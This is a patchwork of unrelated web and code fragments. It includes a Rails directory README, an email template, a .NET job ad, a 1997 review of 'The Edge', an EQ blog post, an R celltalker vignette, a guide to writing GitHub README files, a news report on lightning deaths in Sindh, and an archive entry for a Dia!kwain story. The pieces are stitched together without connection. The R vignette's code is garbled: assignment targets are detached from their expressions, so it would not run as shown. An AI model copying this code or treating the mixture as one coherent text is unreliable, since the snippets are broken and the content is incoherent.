Holds models that should be named like post.rb. Most models will descend from ActiveRecord::Base.
app/views
Holds the template files for the view that should be named like weblogs/index.html.erb for the WeblogsController#index action. All views use eRuby syntax.
app/views/layouts
Holds the template files for layouts to be used with views. This models the common header/footer method of wrapping views. In your views, define a layout using the <tt>layout :default</tt> and create a file named default.html.erb. Inside default.html.erb, call <% yield %> to render the view using this layout.
app/helpers
Holds view helpers that should be named like weblogs_helper.rb. These are generated for you automatically when using rails generate for controllers. Helpers can be used to wrap functionality for your views into methods.
config
Configuration files for the Rails environment, the routing map, the database, and other dependencies.
db
Contains the database schema in schema.rb. db/migrate contains all the sequence of Migrations for your schema.
doc
This directory is where your application documentation will be stored when generated using <tt>rake doc:app</tt>
lib
Application specific libraries. Basically, any kind of custom code that doesn't belong under controllers, models, or helpers. This directory is in the load path.
public
The directory available for the web server. Contains subdirectories for images, stylesheets, and javascripts. Also contains the dispatchers and the default HTML files. This should be set as the DOCUMENT_ROOT of your web server.
script
Helper scripts for automation and generation.
test
Unit and functional tests along with fixtures. When using the rails generate command, template test files will be generated for you and placed in this directory.
vendor
External libraries that the application depends on. Also includes the plugins subdirectory. If the app has frozen rails, those gems also go here, under vendor/rails/. This directory is in the load path.


Boost engagement and interaction with all your products.
Educate consumers on a new product or product line.
Reach your audience with video content in more engaging ways.
Capture and showcase your seasonal products in action.


Hi {{name}},
Sometimes all you want is to send a simple HTML email with a basic design.
This is a really simple email template. Its sole purpose is to get you to click the button below.
All the information you need is on GitHub.
{{i}}
| View the source and instructions on GitHub |
Feel free to use, copy, modify this email template as you wish.
Thanks, have a lovely day.


| # | NAME | DATE | PRICE |
|---|---|---|---|
| 1 | Elite admin | April 18, 2017 | $24 |
| 2 | Real Homes WP Theme | April 19, 2017 | $1250 |
| 3 | Ample Admin | April 19, 2017 | $1250 |
| 4 | Medical Pro WP Theme | April 20, 2017 | -$24 |
| 5 | Hosting press html | April 21, 2017 | $24 |
| 6 | Digital Agency PSD | April 23, 2017 | -$14 |
| 7 | Helping Hands WP Theme | April 22, 2017 | $64 |
| 8 | Helping Hands WP Theme | April 22, 2017 | $64 |
| 9 | Ample Admin | April 19, 2017 | $1250 |


Share with friends
Mandatory Skills:
Microsoft certified in .Net
Additional Requirements:
Should have good understanding of architectural improvements in .net and great knowledge in database.
Description:
Verbat is seeking an experienced Technical Lead- .Net to act as a Lead or Senior Engineer alongside technical, functional and industry specialists, and assist in creating innovative system solutions.
Responsibilities:
- Design, develop, test and deploy.
- Fix bugs, troubleshoot and resolve problems
- Assume ownership of code throughout development, staging, testing and production
- Evaluate code to ensure that it is valid, is properly structured, meets industry standards and is compatible with browsers, devices, or operating systems
- Liaise with relevant business and technical teams in relation to delivering solutions


THE EDGE
At last a thriller with a protagonist who could be a contestant on Jeopardy. That is billionaire Charles Morse (Anthony Hopkins). Charles thinks it is a wasted talent to know every kind of trivia; nothing one can use in real life.
Real life is his wife, very much younger than he, the stunning Mickey who is a model on a shoot in Alaska with Robert Green (Alec Baldwin) the high fashion photographer; her husband has been invited to come along.. Green is in love with Mickey, as who could resist her incredible smile? When a new site for the shoot is needed, Robert, accompanied by Charles, take off by plane to scout other locales. The plane crashes in an Alaskan wilderness, and now Charles and Robert have to depend on each other for survival. What complicates matters is that Charles is certain his wife and Robert have been having an affair.
Suddenly, Charles' knowledge of trivia becomes the only thing between living and dying. There is little of which he is unable to take advantage, from making fire to warding off a bear who is intent on tracking them. The question is, does Charles really want to save Robert; another question is, would Robert kill Charles if there was a chance to get back to civilization without him? The two are as unlike personalities as ever have been thrown together in a struggle for life. This is equally true of the acting styles of Hopkins and Baldwin. Add that the director chose a famous super-model to portray a famous super-model and Macpherson came through very nicely.
THE EDGE is a tensely fascinating thriller with two men wary of each other, a determined bear who does not care which of the two he tears apart, the weather and the isolation of being lost and probably never found. Exceptional performance by Hopkins . . . as always.
Directed by Lee Tamahori..
3 Bytes
4 Bytes = Superb 3 Bytes = Too good to miss 2 Bytes = Average 1 Byte = Save your money
Copyright 1997 Ben Hoffman
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


- for imports:
selecting this option might speed up the importing process with less overhead.
- for builds:
by default, the built for the sbt project is run with the IntelliJ IDEA compiler. If you select this option,
IntelliJ IDEA will delegate the build process to sbt. In this case, such steps as compilation and source
generation are also run within sbt, making the process closer to the actual CI build.


It’s being aware of your own emotions and being able to manage them, as well as others emotions.
IQ represents abilities such as:
Visual and spatial processing
Knowledge of the world
Fluid reasoning
Working memory and short-term memory
Quantitative reasoning
EQ is centered on abilities such as:
Identifying emotions
Evaluating how others feel
Controlling one's own emotions
Perceiving how others feel
Using emotions to facilitate social communication
Relating to others
It’s another important variable for ‘success’ in life.
An example that I saw on the internet was that a health insurance worker that ranked low on EQ was making an average of 50k on their sales and another health insurance worker that ranked high on EQ was making more than 100k.


celltalker.Rmd
Welcome to celltalker. This vignette will show the simpliest use case of celltalker, namely and identification the top putative ligand and receptor interactions across cell types from the Human Cell Atlas 40,000 Bone Marrow Cells dataset. This dataset is publicly available in a convenient form from the SeuratData package. Check out instructions for downloading this dataset (hcabm40k) here.
Some pre-processing has been done to facilitate filtering of cells to canonical immune populations and annotating cell types. Check out data-raw for more info.
# Load packages
suppressMessages({
library(celltalker)
library(Seurat)
suppressWarnings(
library(SeuratData)
)library(dplyr)
library(magrittr)
})
# Load Human Cell Atlast Bone Marrow from SeuratData
data(hcabm40k)
# Filter cell and assign cell types to the dataset
# NB: hca_bm_umap_cell_types has cell types and UMAP embeddings
<- hcabm40k[,rownames(hca_bm_umap_cell_types)]
hca_bm "cell_types"]] <- hca_bm_umap_cell_types$cell_types
hca_bm[[
# Process data
<- NormalizeData(hca_bm)
hca_bm
# Add UMAP coordinates
"umap"]] <- CreateDimReducObject(embeddings=as.matrix(hca_bm_umap_cell_types[,1:2]),
hca_bm[[key="UMAP_",assay="RNA")
# View cell types
DimPlot(hca_bm,group.by="cell_types")
## Run celltalker
<- celltalk(input_object=hca_bm,
hca_bm_interactions metadata_grouping="cell_types",
ligand_receptor_pairs=ramilowski_pairs,
number_cells_required=100,
min_expression=1000,
max_expression=20000,
scramble_times=10)
## Identify top statistically significant interactions
<- hca_bm_interactions %>%
top_stats mutate(fdr=p.adjust(p_val,method="fdr")) %>%
filter(fdr<0.05) %>%
group_by(cell_type1) %>%
top_n(3,interact_ratio) %>%
ungroup()
## Generate a circos plot
<- RColorBrewer::brewer.pal(n=length(unique(hca_bm$cell_types)),"Set2")
colors_use
circos_plot(ligand_receptor_frame=top_stats,
cell_group_colors=colors_use,
ligand_color="blue",
receptor_color="red",
cex_outer=0.5,
cex_inner=0.4)
We have now demonstrated a use case for celltalker in which we identified the top 3 ligand/receptor interactions by joint mean expression of cognate ligands and receptors across cell types.
If you have replicate samples, it might be of interest to identify ligand receptor interactions that are statistically different between groups of samples. We recommend checking out the vignette on identifying statistically significant interactions between groups of replicate samples if this would be useful for your dataset.


Raim!
Follow @pako1337
Watch
Play!
Highest score:
0
Controls: WASD or cursor keys
Looking around: mouse
Shooting: left mouse button
Touch device:
Drag to steer
Tap to shoot


--- layout: post title: Designing and Making the README file for your GitHub Repository permalink: designing-and-making-the-readme-file-for-your-github-repository/ date: 2014-08-24 11:46:20.000000000 +08:00 categories: - coding - git - howto - laravel - php tags: - basics of markdown - create laravel package documentation - how to make readme file status: publish type: post published: true meta: _edit_last: '2' _thumbnail_id: '1311' dsq_thread_id: '2955463700' cleaned: true ---
If you are sharing code in GitHub, the README.md file is the first thing that the viewer will gonna see in your repo. So it is very important that it is professional looking and easy to understand. Today, we'll go over some tips and tricks on how to come up with a better README file.
In the image above, you'll see there are some major parts of a README file
This is usually the human-readable version of the repository name. Like for example, if you have https://github.com/buonzz/laravel-4-freegeoip repository, the value of the title would be "FreeGeoIP for Laravel 4".
Those are the little images that you see in the repo's page. Here are the commonly used ones:
Except for the Travis CI badge, you can grab the rest of those in https://poser.pugx.org/ . For Travis results though, you need to enable the build process in travis-ci.org site for the repo, then grab the badge in the results page there. You can read more about Travis CI on here and here.
This contains the basic explanation of what your repository is all about. This is a good place to put links to the documentation page and any other overview info about your repository.
This is usually a list of dependencies that is needed in able to run your library. For example Laravel 4.2 requires PHP 5.4 and Mcrypt to run properly, those list of requirements is best placed in this section.
This contains the step by step instruction on how to install your library. For Laravel packages, this usually involves the instructions on adding the ServiceProviders in the config file, changing the database settings, publishing the assets etc.
This section shows sample codes on how to use the package, usually in a form of "Hello World" sample, so that it's easier for a developer to use it in his own project.
if the project is sponsored by some company, forked from another repo, relying on another external service. This is a good place to put the links to those or mention their names. This can be optional and not necessarily required if you have nothing to mention at all.
Knowing the parts is half of the story though, writing it is not straightforward since README files in GitHub is not using HTML for generating that format.
The README file has a filename extension "md" which means markdown. Markdown is a markup language which performs text-to-HTML conversion for web writers. Markdown allows you to write using an easy-to-read, easy-to-write plain text format, then convert it to structurally valid XHTML (or HTML). You can read more about the markdown syntax in here.
However, Github md files is special, since there is a so-called GFM (GitHub Flavored Markdown), which is a customized version of original markdown language. You can read more about GFM in here.
The fastest way to learn it is by looking at the examples and learn some basic syntax of GFM. Below is the GFM markup the had generated the image above in the anatomy. Take a couple of hours of learning GFM while viewing the sample below.


Lightning strikes kill 27 in Pakistan
by Agency ReportOfficials said separate incidents of lightning killed at least 27 people and injured over two dozens others in different areas of Pakistan’s southern Sindh province during the last 24 hours, local media reported Friday morning.
Saeed Ghani, the provincial government spokesman said local authorities declared an emergency and rushed rescuers to the Thar Desert in the province of Sindh after the overnight tragedy.
He added that several dozen people including women and children were being treated at the hospitals.
They sustained injuries caused by lightning and falling structures due to the rain.
Aslam Chandio, the local rescue official said that three districts including Tharparkar, Mirpurkhas and Sukkur were hit by heavy rains from Thursday evening that continued into Friday.
Anwar Kazimi the spokesperson for Edhi charity that works in the region equally added that the death toll might increase as information were pouring in from remote villages still inaccessible for rescuers.
Flash floods, land erosion, cloudbursts, droughts and smog resulting in low air quality have been on the rise in Pakistan in recent years.
Climate expert Chaudhry Qamar Zaman also said that sandwiched between highly industrialized China and India, Pakistan would have to bear the brunt of the global warming.
Zaman added that both the state and people will have to realise the gravity of the problem and act swiftly.(dpa/NAN)


Notebooks
Story: The dream which Dia!kwain had before he received the tidings of the death of his father
The dream which Dia!kwain had before he received the tidings of the death of his father
Title
The dream which Dia!kwain had before he received the tidings of the death of his father
Collection
Summary
The dream of Díä!kwãin, before he received news of his father’s death. Further omens, etc. In the Katkop dialect by Díä!kwãin (L V.-15. 5110-5146).  Dia!kwain awakes at daybreak and tells his wife that the dream had spoken like a person, of things that would come true. Dia!kwain's mother comes to tell him his father has died.
Comments
1) See also What happens when we die, 2) This story is found in Book V-15
Contributors
Date
30 July – 5 August 1875
Categories
History (personal), Relations with others, Portention
Keywords
dream (that Dia!kwain had before he heard of the death of his father) , dream (as an omen of death) , dream (about) , dream (Dia!kwain's spoke like a person) , dream (speaks the truth) , dream (does not deceive) , dream (of death) , dream (as a presentiment or prophecy) , dream (foretells death) , Dia!kwain (his personal history) , Dia!kwain (his father's name is Xaa-ttin) , Dia!kwain (foresaw his father's death) , Dia!kwain (his dream) , Dia!kwain (and the 'Boers' or Dutch) , Dia!kwain (the death of his father) , Dia!kwain (his relations) , Dia!kwain (the names of his relations) , Dia!kwain (his dream of the death of his father) , Dia!kwain (his insides ached when one of his people was dying) , death (dream that Dia!kwain had before he heard of the death of his father) , death (omens of) , death (what happens when someone is about to die) , death (news of) , death (the 'heart falls') , death (and the actions of springbok) , death (and the wind) , death (and the rain) , death (and dust) , death (Dia!kwain's dream of the death of his father) , death (of Dia!kwain's father) , death (a dream of) , death (presentiments of) , death (foretelling) , heart ('falls' at death) , heart (and Dia!kwain's dream of the death of his father) , Dutch ('Boers') , Dutch (and Dia!kwain's dream of the death of his father) , Dutch (and Dia!kwain's father) , Dutch (who Dia!kwain worked for) , Dutch (at the place where Dia!kwain lives) , wind (as an omen of death) , wind (Dia!kwain's father's) , wind (north) , wind (and Dia!kwain's dream of the death of his father) , rain (as an omen of death) , rain (and Dia!kwain's dream of the death of his father) , dust (as an omen of death) , dust (and Dia!kwain's dream of the death of his father) , presentiments (omens) , presentiments (of death) , presentiments (dreams foretell things) , foretell (dreams foretell things) , foretell (dreams foretell death) , foretell (and Dia!kwain's dream of the death of his father) , omens (of death) , omens (wind as) , omens (dust as) , omens (rain as) , omens (dreams foretell things) , omens (and the actions of game, springbok) , omens (and Dia!kwain's dream of the death of his father) , springbok (actions of are omens of death) , springbok (and Dia!kwain's dream of the death of his father) , game (actions of are omens of death) , game (and Dia!kwain's dream of the death of his father) , place (where Dia!kwain lived, worked) , place (and Dia!kwain's dream of the death of his father) , names (of Dia!kwain's relations)
Story Pages
5110-5146


@import fr.gospeak.web.domain.Breadcrumb @import fr.gospeak.web.pages.published.partials.html.containerHome_theme @import fr.gospeak.web.utils.UserAwareReq @import fr.gospeak.web.pages.published.cfps.routes.CfpCtrl @()(b: Breadcrumb)(implicit req: UserAwareReq[AnyContent]) @containerHome_theme("Gospeak", b)() {
A plateform for
An Open Source project to helps organizers to find speakers.